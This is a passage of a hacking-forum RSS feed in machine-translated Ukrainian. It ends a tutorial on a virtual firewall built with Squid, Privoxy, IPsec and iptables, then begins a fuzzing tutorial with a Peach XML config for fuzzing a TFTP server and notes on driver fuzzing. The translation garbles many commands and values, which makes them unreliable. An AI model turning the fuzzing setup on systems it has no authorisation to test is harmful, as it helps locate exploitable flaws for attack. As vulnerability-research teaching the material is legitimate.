						&lt;p&gt;http_port 3128&lt;br /&gt;# # # У випадку прозорого проксированія директива набуде вигляду:&lt;br /&gt;# Http_port 127.0.0.1:3128 transparent&lt;br /&gt;# # # Вказуємо діапазон IP внутрішньої мережі&lt;br /&gt;acl lan_net src 192.168.1.0/24&lt;br /&gt;# # # Дозволяємо вихід в інтернет з мережі 192.168.1.0/24&lt;br /&gt;http_access allow lan_net&lt;br /&gt;# # # Розмір кешу вказуємо з урахуванням обсягу ОЗУ, виділеного VM&lt;br /&gt;cache_mem 32 MB&lt;br /&gt;maximum_object_size 10240 KB&lt;br /&gt;cache_dir ufs / var / squid / cache 5000 16 256&lt;/p&gt;
						&lt;p&gt;Створюємо каталог для кешу і запускаємо кешуючий проксік:&lt;/p&gt;
						&lt;p&gt;# Squid-z&lt;br /&gt;# Squid&lt;/p&gt;
						&lt;p&gt;Тепер можна перевірити, слухається чи потрібний порт:&lt;/p&gt;
						&lt;p&gt;# Netstat-ant | grep 3128&lt;/p&gt;
						&lt;p&gt;Розбудовуємо браузери на підключення через порт 3128 інтерфейсу vnec1 і пробуємо звернутися до зовнішнього веб-сайту. Як варіант, можна налаштувати прозоре проксінг, щоб користувачі, що намагаються підключитися до 80 і 8080 портів зовнішніх web-серверів, автоматично перенаправлялися на локальний порт, на якому працює Squid:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / pf.conf&lt;/p&gt;
						&lt;p&gt;table &amp;lt;clients&amp;gt; {192.168.1.2, 192.168.1.5}&lt;br /&gt;table &amp;lt;nocache&amp;gt; {192.168.1.0/24}&lt;br /&gt;rdr on inet proto tcp from &amp;lt;clients&amp;gt; to! &amp;lt;nocache&amp;gt; port {80 8080} -&amp;gt; 127.0.0.1 port 3128&lt;/p&gt;
						&lt;p&gt;Коли все налаштовано, забезпечуємо автозавантаження Squid при старті системи:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / rc.local&lt;/p&gt;
						&lt;p&gt;if [-x / usr / local / sbin / squid]; then echo-n &#039;squid&#039;; / usr / local / sbin / squid&lt;br /&gt;fi&lt;/p&gt;
						&lt;p&gt;При бажанні Squid можна доповнити іншими модулями. У портах є squidGuard і HAVP (HTTP Anti Virus Proxy). Перший допоможе в боротьбі з банерами, блокуванням файлів і певних ресурсів, другий вміє перевіряти трафік декількома антивірусами.&lt;/p&gt;
						&lt;p&gt;# Pkg_add squidguard&lt;br /&gt;# Pkg_add havp&lt;/p&gt;
						&lt;p&gt;Налаштування squidGuard і HAVP докладно описана в статті &amp;quot;Озброєний бронекальмар&amp;quot;, опублікованій в червневому номері] [за 2008 рік, тому тут не зупиняємося. До речі, подібна схема з віртуальним файрволом може бути цікава тим, хто хоче максимально убезпечити своє перебування в інтернет. Не секрет, що браузер на сайті залишає своєрідний відбиток, який може розповісти багато чого про твоїй системі. Застосування проксі-сервера дозволяє приховати велику частину інформації шляхом модифікації заголовків. Для тих, хто не хоче морочитися зі Squid, можу порекомендувати Privoxy (Privacy Enhancing Proxy) - некешірующій проксі з можливостями фільтрації контента для підвищення приватності і безпеки веб-серфінгу. Установка Privoxy зводиться до виконання команди:&lt;/p&gt;
						&lt;p&gt;# Pkg_add privoxy&lt;/p&gt;
						&lt;p&gt;Тепер налаштовуємо браузер, щоб він виходив в інтернет через порт 8118, і набираємо в адресному рядку &lt;a href=&quot;http://config.privoxy.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://config.privoxy.org/&lt;/a&gt; (коротка форма: http://pp). У результаті отримуємо можливість редагування параметрів проксі-сервера. Дефолтні правила забезпечують блокування Cookies, pop-up, деяких типів банерів. За замовчуванням Privoxy слухає тільки локальний інтерфейс, для доступу до нього з хостової машини або з LAN слід змінити інструкцію listen-address в config.txt, вказавши IP мережного інтерфейсу vic1:&lt;/p&gt;
						&lt;p&gt;listen-address 191.168.1.1:8118&lt;/p&gt;
						&lt;p&gt;Можливостей, як і налаштувань, в Privoxy дуже багато, докладно він розглядався в статті &amp;quot;Маленьке вікно у велику мережу&amp;quot;, опублікованій в] [03.2007. При необхідності можна змусити його працювати в тандемі з кальмаром, для чого в squid.conf досить додати всього один рядок:&lt;/p&gt;
						&lt;p&gt;cache_peer 127.0.0.1 parent \ 8118 7 no-query&lt;/p&gt;
						&lt;p&gt;В якості ще одного бонусу до нашому інтелектуальному файрвола можна порекомендувати легкий кешуючий DNS (а також TFTP і DHCP) сервер Dnsmasq. Ставиться він просто:&lt;/p&gt;
						&lt;p&gt;# Pkg_add dnsmasq&lt;/p&gt;
						&lt;p&gt;Після цього в конфігураційному файлі dnsmasq.conf вказуємо мережевий інтерфейс, на якому він буде приймати запити:&lt;/p&gt;
						&lt;p&gt;listen-address = 127.0.0.1, 192.168.1.1&lt;/p&gt;
						&lt;p&gt;Тепер всі повторні DNS-запити будуть видаватися з кешу і виконуватися швидше.&lt;br /&gt;Налаштування IPsec У OpenBSD&lt;/p&gt;
						&lt;p&gt;Тепер навчимо віртуальний файр підключатися по VPN. Розберемо з&#039;єднання по протоколу IPsec за допомогою утиліти ipsecctl, що входить в стандартну поставку. Отже, наша внутрішня мережа 192.168.1.0/24, зовнішній WAN інтерфейс одержує IP-адреса 1.2.3.4, відповідно в віддаленому офісі LAN - 192.168.2.0/24 і WAN - 5.6.7.8. Відкриваємо в редакторі конфіг / etc / ipsec.conf і вказуємо налаштування мереж:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / ipsec.conf&lt;/p&gt;
						&lt;p&gt;ike esp from 192.168.1.0/24 to 192.168.2.0/24 \ peer 5.6.7.8&lt;br /&gt;ike esp from 1.2.3.4 to 192.168.2.0/24 \ peer 5.6.7.8&lt;br /&gt;ike esp from 1.2.3.4 to 5.6.7.8&lt;/p&gt;
						&lt;p&gt;На віддаленому хості файл / etc / ipsec.conf буде аналогічним, тільки замінюємо IP і в описі підключення додаємо ключ passive, що означає, що даний вузол буде чекати підключення (підключення ініціалізує віддалена система):&lt;/p&gt;
						&lt;p&gt;ike passive esp from 5.6.7.8 to 1.2.3.4&lt;/p&gt;
						&lt;p&gt;У правилах PF дозволимо підключення з віддаленого вузла і вкажемо, що не потрібно фільтрувати трафік, що проходить через інтерфейс зворотної петлі, а також через внутрішній і віртуальний інтерфейси:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / pf.conf&lt;/p&gt;
						&lt;p&gt;set skip on {lo vic1 enc0}&lt;br /&gt;pass quick on vic0 from 5.6.7.8&lt;/p&gt;
						&lt;p&gt;Тепер з VPN-сервера копіюємо публічний ключ і зберігаємо його в / etc/isakmpd/pubkeys/ipv4/5.6.7.8, а свій ключ / etc / isakmpd / private / local.pub передаємо на 5.6.7.8. Набираємо на обох хостах:&lt;/p&gt;
						&lt;p&gt;# Isakmpd-K&lt;br /&gt;# Ipsecctl-f / etc / ipsec.conf&lt;/p&gt;
						&lt;p&gt;Якщо все проходить нормально, забезпечуємо автозапуск при завантаженні системи (якщо в цьому є необхідність). Для чого додаємо в / etc / rc.conf.local один рядок:&lt;/p&gt;
						&lt;p&gt;isakmpd = &amp;quot;-K&amp;quot;&lt;/p&gt;
						&lt;p&gt;C OpenBSD, сподіваюся, все зрозуміло. Перейдемо до Linux, багато питань, за винятком настройки правил пакетного фільтру і встановлення програм, будуть аналогічні.&lt;br /&gt;Організація NAT в Linux&lt;/p&gt;
						&lt;p&gt;У Linux пакетний фільтр Netfilter управляється за допомогою консольної утиліти iptables. Установки відрізняються за написанням, але, по суті, залишаються тими ж. Для початку дозволяємо форвардінг пакетів:&lt;/p&gt;
						&lt;p&gt;# Echo 1&amp;gt; / proc/sys/net/ipv4/ip_forward&lt;/p&gt;
						&lt;p&gt;Або як варіант:&lt;/p&gt;
						&lt;p&gt;# Sysctl-w net.ipv4.ip_forward = 1&lt;/p&gt;
						&lt;p&gt;Щоб форвардінг активувався при завантаженні системи, використовуємо / etc / sysctl.conf:&lt;/p&gt;
						&lt;p&gt;net.ipv4.ip_forward = 1&lt;/p&gt;
						&lt;p&gt;Зверни увагу, мінлива механізму sysctl дещо відрізняється від аналогічного параметра в OpenBSD. У різних дистрибутивах можуть бути свої особливості. Так в CentOS / Fedora досить ввести одну команду:&lt;/p&gt;
						&lt;p&gt;# System-config-securitylevel&lt;/p&gt;
						&lt;p&gt;Перевіряємо:&lt;/p&gt;
						&lt;p&gt;# Service iptables status&lt;/p&gt;
						&lt;p&gt;В якості альтернативи в цих дистрибутивах можна використовувати chkconfig. Дивимося статус запуску iptables:&lt;/p&gt;
						&lt;p&gt;# Chkconfig - list iptables&lt;/p&gt;
						&lt;p&gt;І активуємо при необхідності:&lt;/p&gt;
						&lt;p&gt;# Chkconfig iptables on&lt;/p&gt;
						&lt;p&gt;Нехай внутрішній мережевий інтерфейс (до якого підключається локальна система) буде eth1, а зовнішній - eth0. Щоб включити NAT в Linux і вирішити всі з&#039;єднання, достатньо прописати три правила:&lt;/p&gt;
						&lt;p&gt;# Iptables-t nat-A POSTROUTING-o eth0-j MASQUERADE&lt;br /&gt;# Iptables-A FORWARD-i eth0-o eth1-m state - state RELATED, ESTABLISHED-j ACCEPT&lt;br /&gt;# Iptables-A FORWARD-i eth1-o eth0-j ACCEPT&lt;/p&gt;
						&lt;p&gt;Для більшого захисту можна дозволити доступ тільки до певних сервісів:&lt;/p&gt;
						&lt;p&gt;iptables-A OUTPUT-j ACCEPT-m state - state NEW, ESTABLISHED, RELATED-o eth0-p tcp-m multiport - dports 80,443,8080 - sport 1024:65535&lt;/p&gt;
						&lt;p&gt;Щоб NAT працював і після перезавантаження, в Ubuntu зберігаємо всі налаштування iptables в файл за допомогою утиліти iptables-save:&lt;/p&gt;
						&lt;p&gt;# Iptables-save&amp;gt; / etc / iptables.rules&lt;/p&gt;
						&lt;p&gt;І заносимо цей рядок в один з скриптів, що виконуються при зупинці системи (наприклад, скрипти з каталогу / etc / network / if-postdown.d). Щоб правила при завантаженні завантажувалися автоматично, додаємо в кінець файлу / etc / networks / interfaces наступний запис:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / networks / interfaces&lt;/p&gt;
						&lt;p&gt;# # # Завантажуємо правила при піднятті інтерфейсу&lt;br /&gt;pre-up iptables-restore &amp;lt;/ etc / iptables.rules&lt;/p&gt;
						&lt;p&gt;У CentOS правила зберігаються командою:&lt;/p&gt;
						&lt;p&gt;# Service iptables save&lt;/p&gt;
						&lt;p&gt;Після цього всі рулесети можна знайти в / etc / sysconfig / iptables. Для автоматичного їх завантаження при старті системи досить дозволити два параметри у файлі / etc / sysconfig / iptables-config:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / sysconfig / iptables-config&lt;/p&gt;
						&lt;p&gt;IPTABLES_SAVE_ON_STOP = &amp;quot;yes&amp;quot;&lt;br /&gt;IPTABLES_SAVE_ON_RESTART = &amp;quot;yes&amp;quot;&lt;/p&gt;
						&lt;p&gt;Переглянути перелік правил iptables можна командою:&lt;/p&gt;
						&lt;p&gt;# Iptables-L-v&lt;/p&gt;
						&lt;p&gt;Все, з файр розібралися. Тепер можна нарощувати функціонал. Squid є в репозитаріях пакетів і ставиться дуже просто. У Debian / Ubuntu:&lt;/p&gt;
						&lt;p&gt;# Apt-get install squid&lt;/p&gt;
						&lt;p&gt;Або в CentOS:&lt;/p&gt;
						&lt;p&gt;# Yum install squid&lt;/p&gt;
						&lt;p&gt;Щоб не перебудовувати клієнтські системи, додамо правила iptables:&lt;/p&gt;
						&lt;p&gt;iptables-t nat-A PREROUTING-i eth1-p tcp-m tcp - dport 80-j DNAT - todestination 192.168.1.1:3128&lt;br /&gt;iptables-t nat-A PREROUTING-i eth0-p tcp-m tcp - dport 80-j REDIRECT - to-ports 3128&lt;/p&gt;
						&lt;p&gt;При бажанні Squid можна доповнити іншими модулями - Adzapper, squidGuard і HAVP.&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Ми отримали абсолютно безкоштовний файрвол з просунутими функціями, що надійно захищає хостовую Windows машину, і функціонал якого можна нарощувати до нескінченності. Можливо, хтось вважатиме його незручним, але проблему швидкого завантаження можна вирішити, просто заморожуючи стан віртуальної машини. До того ж такий віртуальний блокпост можна використовувати не завжди, а тільки в особливих випадках.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:37:40 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=36#p36</guid>
		</item>
		<item>
			<title>Фаззінг, фазі, фаззер: шукаємо уразливості в програмах, мережевих</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=35#p35</link>
			<description>&lt;p&gt;Щороку в Канаді на конференції CanSecWest проходить конкурс PWN2OWN з пошуку багів з сучасних ОС і браузерах. За кожний успішний сплойт пропонується серйозне винагороду. І кожен рік від учасників, що мають готові рішення, немає відбою. Для пошуку критичних вразливостей в настільки популярному софті є багато технік і ноу-хау, але більшість з них будуються на такий простій техніці як фаззінг.&lt;/p&gt;
						&lt;p&gt;Термін Fuzzing з&#039;явився ще в 1988 році в роботі &amp;quot;The Fuzz Generator&amp;quot;, опублікованій Бартом Міллером. Саме в цю світлу голову вперше прийшла ідея підсовувати програмі явно некоректні і часто взагалі випадкові дані, відловлюючи ситуації, коли та не зможе їх обробити і вилетить. Ефективність такого підходу до цих пір велика. Точки введення даних в програму можуть бути самі різні: текстовий рядок, введена через графічний інтерфейс, бінарні дані з файлу або, наприклад, значення поля в якому-небудь мережевому запиті. Замість програми може бути драйвер, ActiveX-компонент або, наприклад, SWF-додаток. У тій чи іншій мірі фаззінг зараз є одним з найбільш ефективних засобів виявлення проблем безпеки коду.&lt;br /&gt;Що таке фаззінг?&lt;/p&gt;
						&lt;p&gt;У залежності від того, де здійснюється маніпуляції з даними, фаззінг поділяється на безліч категорій. Один з найпростіших видів - файловий фаззінг, що припускає, що якійсь програмі пропонується відкрити некоректно складений файл. Візьмемо, приміром, прогу для перегляду картинок. Якщо взяти JPEG-файл і цікавим чином змінити декілька байтів, то ця програма цілком можливо вилається: &amp;quot;Що це ти мені підсунув?&amp;quot;. А, можливо, взагалі не зможе його переварити і вилетить, наприклад, з проблемою переповнення буферу. Значить, її теоретично можна розколупати, довівши справу до робочого експлойта.&lt;/p&gt;
						&lt;p&gt;Якщо говорити про спосіб маніпуляції з даними, то фаззінг розподіляється на генерацію і мутацію. Генерація - це випадковим чином придуманий набір байтів, який підсовується тієї ж проге для перегляду картинок зі словами: &amp;quot;Це насправді JPEG-файл, читай його&amp;quot;. Мутація - прийом набагато більш витончений, що припускає внесення змін до &amp;quot;хороший&amp;quot;, тобто цілком коректний файл. Якщо у випадку з файловим фаззінгом ще можна використовувати &amp;quot;генерацію&amp;quot;, то в таких речах, як мережеві протоколи, має сенс застосовувати виключно підхід мутації. Більш того, вкрай бажано мати уявлення, за що відповідає те чи інше поле пакету і навмисно маніпулювати з тими даними, які можуть бути некоректно оброблені. У залежності від інтелекту, фаззери бувають дурні й розумні:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Дурний (dump) фаззер нічого не знає про структуру файлів. Якщо говорити про мережевих протоколах, то єдине, що він може зробити - це змінити декілька байтів у вихідному пакеті і відправити його в надії, що це може викликати збій.&lt;br /&gt;&amp;#160; &amp;#160; * Розумний (smart) фаззер має деяке уявлення про структуру даних. Замість того, щоб повністю сподіватися на удачу, він може гратися тільки з тими даними, які відповідають, наприклад, за розмір буфера. Або підставляти в лани такі значення, які свідомо, з урахуванням відомого формату, будуть некоректними.&lt;/p&gt;
						&lt;p&gt;Фазі файли&lt;/p&gt;
						&lt;p&gt;Одна з найпростіших утиліт для реалізації дурного фаззінга - MiniFuzz. Проект розроблений всередині Microsoft для тестування своїх власних проектів. Справа в тому, що використання фаззеров є обов&#039;язковим етапом методології SDL (Security Development Lifecycle), прийнятої в Microsoft для розробників безпечного коду, що включає крім іншого рясне fuzz-тестування. Minifuzz можна нацькувати на будь-який додаток, головне, щоб в якості параметра для запуску воно сприймало вказівка на файл, який йому необхідно відкрити (скажімо, winword.exe test_sample.doc). Для початку роботи необхідно набрати кілька зразків &amp;quot;правильних&amp;quot; файлів і покласти їх каталог, позначений як Template files, а також вибрати програму для перевірки, вказавши формат параметрів для його запуску. Коли ти натиснеш на кнопку Start Fuzzing, програма візьме один із зразків, змінить деякі байти усередині нього (кількість змінюваних даних залежить від параметра Aggressiveness) і згодує його досліджуваного додатком. Якщо тестуєма програма не вилетить через деякий таймаут (за замовчуванням 2 секунди), значить, тест пройдено успішно.&lt;/p&gt;
						&lt;p&gt;Додаток буде закрито, і почнеться наступна ітерація перевірки. Якщо ж під час тестування програма вилетить (бінго!), то для аналізу в тебе буде, по-перше, файл-зразок, який викликав збій при відкритті, а, по-друге, crash-файл з дампом програми. Для більшої зручності Minifuzz легко прикручується в Visual Studio, дозволяючи запускати fuzz-тестування прямо з середовища розробки через меню &amp;quot;Tools -&amp;gt; MiniFuzz&amp;quot;. Втім, якщо з якихось причин MiniFuzz тобі не підійде, то можна спробувати інший інструмент для dumb-фаззінга - FileFuzz, який розроблений не Microsoft, а відомої security-командою iDefense Labs.&lt;br /&gt;Фазі протоколи&lt;/p&gt;
						&lt;p&gt;Якщо MiniFuzz - це дуже простий (хоч і ефективний) dump-фаззер, то проект Peach (у перекладі - персик), розроблений Майком Еддінгтона - це вже потужне рішення для smart-фаззінга, що підтримує як режим мутації, так і генерації. Для проведення розумного фаззінга програмі необхідно знати структуру даних, з якими вона буде експериментувати. Тому на вхід фаззера подаються так звані PeachPit&#039;и (&amp;quot;кісточки від персика&amp;quot;) - спеціальні XML-конфіги, в яких задається структура даних, опис взаємовідносин між різними її елементами, а також підходи для реалізації мутацій. На відміну від Minifuzz, Peach може фазі не тільки файли, але і мережеві сервіси, RPC, COM / DCOM, SQL-збережені процедури і багато іншого. Правда, така універсальність призводить і до деяких труднощів у використанні.&lt;/p&gt;
						&lt;p&gt;Відразу попереджаю: це не та програма, яку запускаєш і відразу розумієш, що до чого. Щоб внести ясність, пропоную розібратися з Peach на конкретному прикладі, але замість фаззінга файлів звернутися до іншої області, а саме - пошуку вразливостей у мережевих сервісах. Для успіху доведеться додатково встановити WinDBG в якості отладчика, а також сніфер Wireshark і драйвер Winpcap, щоб мати можливість перехоплювати мережні пакети під час фаззінга мережевих протоколів.&lt;/p&gt;
						&lt;p&gt;Будь-який фаззінг в Peach&#039;е починається зі створення PeachPit. Як я вже сказав, у цьому XML-файлі визначається мета фаззінга, описується структура даних, з якою буде працювати фаззер, а також визначаються правила маніпуляції з ними. Для зручності автор фреймворку пропонує бібліотеку для Visual Studio, серйозно спрощує роботу з PeachPit&#039;амі, в тому числі за допомогою автодоповнення коду. Будь-яка &amp;quot;кісточка&amp;quot; складається з декількох функціональних блоків. Щоб не складати весь файл з нуля, в кореневому каталозі фаззера є файл-шаблон template.xml, який ми й візьмемо за основу.&lt;/p&gt;
						&lt;p&gt;Важлива частина будь-якого PeachPit&#039;а - опис моделі даних. Саме в цьому місці ми робимо фаззер &amp;quot;розумним&amp;quot;, розповідаємо йому про структуру файлі або протоколу (розмірах полів, зсувах і т.д.), з яким доведеться працювати. Візьмемо для прикладу найпростіший протокол TFTP і спробуємо профаззіть запит на читання файлу (Read). Якщо вірити RFC, то виглядає він наступним чином:&lt;/p&gt;
						&lt;p&gt;TFTP PACKET&lt;/p&gt;
						&lt;p&gt;--------------------------------------&lt;br /&gt;| \ X00 \ x01 | Filename | 0 | Mode | 0 |&lt;br /&gt;--------------------------------------&lt;/p&gt;
						&lt;p&gt;Виходить, що запит починається з HEX-символів &amp;quot;\ x00 \ x01&amp;quot;, після яких слідує назва файлу і прапори режиму передачі файлу. При цьому після полів Filename і Mode йдуть нульові байти. Отже, завдання - написати фаззер, який буде гратися зі значенням Filename. Почнемо зі створення моделі запиту в нашому PeachPit&#039;е відповідно до RFC:&lt;/p&gt;
						&lt;p&gt;&amp;lt;DataModel Name=&amp;quot;tftprrx&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Blob Name=&amp;quot;opcode&amp;quot; valueType=&amp;quot;hex&amp;quot; value=&amp;quot;00 01&amp;quot; token=&amp;quot;true&amp;quot;/&amp;gt;&lt;br /&gt; &amp;lt;String Name=&amp;quot;filename&amp;quot; value=&amp;quot;filename.txt&amp;quot; nullTerminated=&amp;quot;true&amp;quot;/&amp;gt;&lt;br /&gt; &amp;lt;String Name=&amp;quot;mode&amp;quot; value=&amp;quot;NETASCII&amp;quot; token=&amp;quot;true&amp;quot; nullTerminated=&amp;quot;true&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;/ DataModel&amp;gt;&lt;/p&gt;
						&lt;p&gt;У першому рядку моделі ми задаємо двобайтових код, що позначає запит на читання. Зазначений тут параметр token = &amp;quot;true&amp;quot; ми будемо використовувати кожен раз, щоб дати зрозуміти Peach, що це поле залишається як є, і його не треба фазі. Зверни увагу, що в наступному рядку, яка описує поле filename, цього прапора як раз немає, і саме тому фаззер буде маніпулювати зі значенням у цьому полі (або, іншими словами, фаззі). В останньому рядку описується полі, що означає режим роботи. Для полів &amp;quot;filename&amp;quot; і &amp;quot;mode&amp;quot; ми підставляємо прапор nullTerminated, вказуючи на те, що після них ідуть нульові байти-роздільники. Зверни увагу, що для кожного з трьох полів вказується його тип (blob або string). Таким чином ми розповідаємо фаззеру, з яким типом даних він буде мати справу. Зрозуміло, що це дуже проста модель, в більшості випадків з її складанням доведеться попрацювати набагато щільніше.&lt;/p&gt;
						&lt;p&gt;Після того, як модель даних готова, необхідно описати логіку роботи фаззера, яка описується в наступному блоці PeachPit&#039;а. Оскільки єдине місце, де ми будемо здійснювати фаззінг - це поле filename, то й логіка нас буде дуже проста. Зазначимо Peach&#039;у, що необхідно відправляти дані (Action type = &amp;quot;output&amp;quot;), використовуючи раніше описану модель даних &amp;quot;tftprrx&amp;quot;:&lt;/p&gt;
						&lt;p&gt;&amp;lt;StateModel Name=&amp;quot;state1&amp;quot; initialState=&amp;quot;Initial&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;State Name=&amp;quot;Initial&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Action Type=&amp;quot;output&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;lt;DataModel Ref=&amp;quot;tftprrx&amp;quot;/&amp;gt;&lt;br /&gt; &amp;lt;/ Action&amp;gt;&lt;br /&gt;&amp;lt;/ State&amp;gt;&lt;br /&gt;&amp;lt;/ StateModel&amp;gt;&lt;/p&gt;
						&lt;p&gt;Наступний блок конфігурації фаззера - опис агентів. Агенти приєднують до потрібному процесу відладчик і постійно стежать за його станом. У разі вильоту програми з-за помилки агенти записують різні деталі падіння в логфайлів, в тому числі і викликав збій запит (у разі, якщо мова йде про сніфінге мережевого протоколу). Для того, щоб класифікувати падіння (Exploitable, Probably Exploitable, Probably Not Exploitable, Unknown), розробник рекомендує додатково до відладчику WinDBG встановити плагін! Exploitable. Позначимо в цьому блоці, що будемо відслідковувати стан програми TFTPD32 і весь UDP-трафік, що поступає на 69 порт (TFTP):&lt;/p&gt;
						&lt;p&gt;&amp;lt;Agent Name=&amp;quot;RemoteAgent&amp;quot; location=&amp;quot;http://192.168.1.10:9000&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;Monitor Class=&amp;quot;debugger.WindowsDebugEngine&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Param Name=&amp;quot;Service&amp;quot; value=&amp;quot;TFTPD32&amp;quot; /&amp;gt;&lt;br /&gt;&amp;lt;/ Monitor&amp;gt;&lt;br /&gt;&amp;lt;Monitor Class=&amp;quot;network.PcapMonitor&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Param Name=&amp;quot;filter&amp;quot; value=&amp;quot;udp port 69&amp;quot; /&amp;gt;&lt;br /&gt;&amp;lt;/ Monitor&amp;gt;&lt;br /&gt;&amp;lt;/ Agent&amp;gt;&lt;/p&gt;
						&lt;p&gt;Ось тепер майже все готово. Залишилося пов&#039;язати між собою модель даних, логіку та агентів, об&#039;єднавши їх в єдине ціле - secuiryt-тест. У нас буде тільки один тест (для фаззінга поля filename), але в реальній ситуації можна написати стільки тестів, скільки необхідно. По суті, потрібен один тест для кожного описаного блоку з моделлю даних.&lt;/p&gt;
						&lt;p&gt;&amp;lt;Test Name=&amp;quot;tftprrx&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;Agent Ref=&amp;quot;RemoteAgent&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;StateModel Ref=&amp;quot;state1&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;Publisher Class=&amp;quot;udp.Udp&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Param Name=&amp;quot;host&amp;quot; value=&amp;quot;192.168.1.10&amp;quot; /&amp;gt;&lt;br /&gt; &amp;lt;Param Name=&amp;quot;port&amp;quot; value=&amp;quot;69&amp;quot; /&amp;gt;&lt;br /&gt;&amp;lt;/ Publisher&amp;gt;&lt;br /&gt;&amp;lt;/ Test&amp;gt;&lt;/p&gt;
						&lt;p&gt;Після &amp;quot;publisher&amp;quot; вказується, яким чином будуть передаватися дані. Оскільки TFTP працює по UDP-протоколу, то його ми й використовуємо при складанні тесту. Останній блок, який необхідно змінити у файлі-шаблоні - це блок для запуску фаззера (&amp;quot;Run&amp;quot;). Тут визначається, куди ти хочеш зберегти логи з результатами і які тести хочеш провести:&lt;/p&gt;
						&lt;p&gt;&amp;lt;Run Name=&amp;quot;DefaultRun&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;Logger Class=&amp;quot;logger.Filesystem&amp;quot;&amp;gt;&lt;br /&gt; &amp;lt;Param Name=&amp;quot;path&amp;quot; value=&amp;quot;logs&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;/ Logger&amp;gt;&lt;br /&gt;&amp;lt;Test Ref=&amp;quot;tftprrx&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;/ Run&amp;gt;&lt;br /&gt;&amp;lt;/ Peach&amp;gt;&lt;/p&gt;
						&lt;p&gt;Складання &amp;quot;кісточок&amp;quot; для Peach&#039;а може здатися складним завданням, і це дійсно так. А як інакше пояснити фаззеру особливості формату даних і те, яким чином йому ефективніше гратися з тими чи іншими параметрами? У цьому і є сенс розумного фаззінга. З іншого боку, якщо прямо зараз спробувати реалізувати інший метод того ж протоколу TFTP (скажімо, метод write), то відразу усвідомлюєш, що коду буде потрібно набагато менше - велика частина XML-конфіга вже готова. Спеціально для перевірки коректності PeachPits&#039;ов до складу фаззера входить спеціальний скрипт peachvalidator.pyw. Якщо валідатор віддасть відмашку на старт фаззера, можна запускати Peach:&lt;/p&gt;
						&lt;p&gt;peach.py-a&lt;br /&gt;peach.py tftpfuzzer.xml&lt;/p&gt;
						&lt;p&gt;Перша команда активує агентів, а друга дозволяє запустити фаззер з використанням тільки що складеного XML-конфіга.&lt;br /&gt;Фазі драйвера&lt;/p&gt;
						&lt;p&gt;Отже, ми вже розібралися з фаззінгом файлів, протоколів - тепер спробуємо використовувати фаззінг для пошуку помилок в драйверах. Тут треба розуміти, що драйвери використовуються не тільки для керування пристроями, зовсім ні. Багато програм встановлюють в систему драйвер в якості посередника для доступу в більш привілейований режим - Ring0. Перш за все, це і антивіруси утиліти, що забезпечують (принаймні, обіцяють забезпечити) безпеку системи. Драйвери, загалом, нічим не відрізняються від програми в плані безпеки: як і скрізь, велика кількість вразливостей пов&#039;язано з неправильною обробкою даних, особливо тих, що надходять в IRP-запитах. I / O request packets (IRP) - це спеціальні структури, що використовуються моделлю драйверів Windows для взаємодії та обміну даними драйверів один з одним і самою системою. Виходить, і тут є всі умови для того, щоб автоматизувати пошук вразливостей. Звичайно, інструмент тут потрібен особливий, бо як звичайним фаззерам доступ в надра системи закритий.&lt;/p&gt;
						&lt;p&gt;Одна з небагатьох розробок у цій галузі - IOCTL Fuzzer, яка спочатку націлена на проведення fuzzing-тестів, маніпулюючи з даними в IRP-запитах. Програма встановлює в систему допоміжний драйвер (не дивуйся, що подібну активність антивірус вважатиме підозрілої), який перехоплює виклики NtDeviceIoControlFile, тим самим отримуючи можливість контролювати всі IRP-запити від будь-якого додатку до драйверів режиму ядра. Це потрібно тому, що спочатку формат IRP-запиту для конкретного драйвера або програми невідомий. А маючи на руках перехоплений IRP-запит, його можна легко змінити - виходить класичний фаззінг за допомогою мутації. Проспуфенний IRP-запит нічим не відрізняється від оригінального за винятком поля з даними, які заповнюється фаззером псевдовипадковим чином. Поведінка фаззера, лог-файл, назви драйверів для спуфінга та інші параметри задаються за допомогою найпростішого XML-конфіга, який знаходиться в корені програми. Але перш ніж рватися в бій, необхідна деяка підготовка.&lt;/p&gt;
						&lt;p&gt;З експерименту з драйверами на робочій машині нічого доброго не вийде. Якщо IOCTL Fuzzer вдасться намацати слабке місце в якому-небудь із драйверів, то система легко відлетить до BSOD, а це навряд чи додасть зручності для ідентифікації уразливості:). З цієї причини для використання фаззера нам знадобиться окрема віртуальна машина, до якої ми підключимо віддалений дебаггер ядра. Тут честь і хвала Microsoft, які не тільки змогли зробити тлумачний відладчик WinDbg, що підтримує віддалений дебаггінг, але і поширюють його безкоштовно. Взаємодія між гостьовою системою в VMware і віддаленим відладчиком WinDbg здійснюється за допомогою іменованого каналу (named pipe), який ми зараз і створимо.&lt;/p&gt;
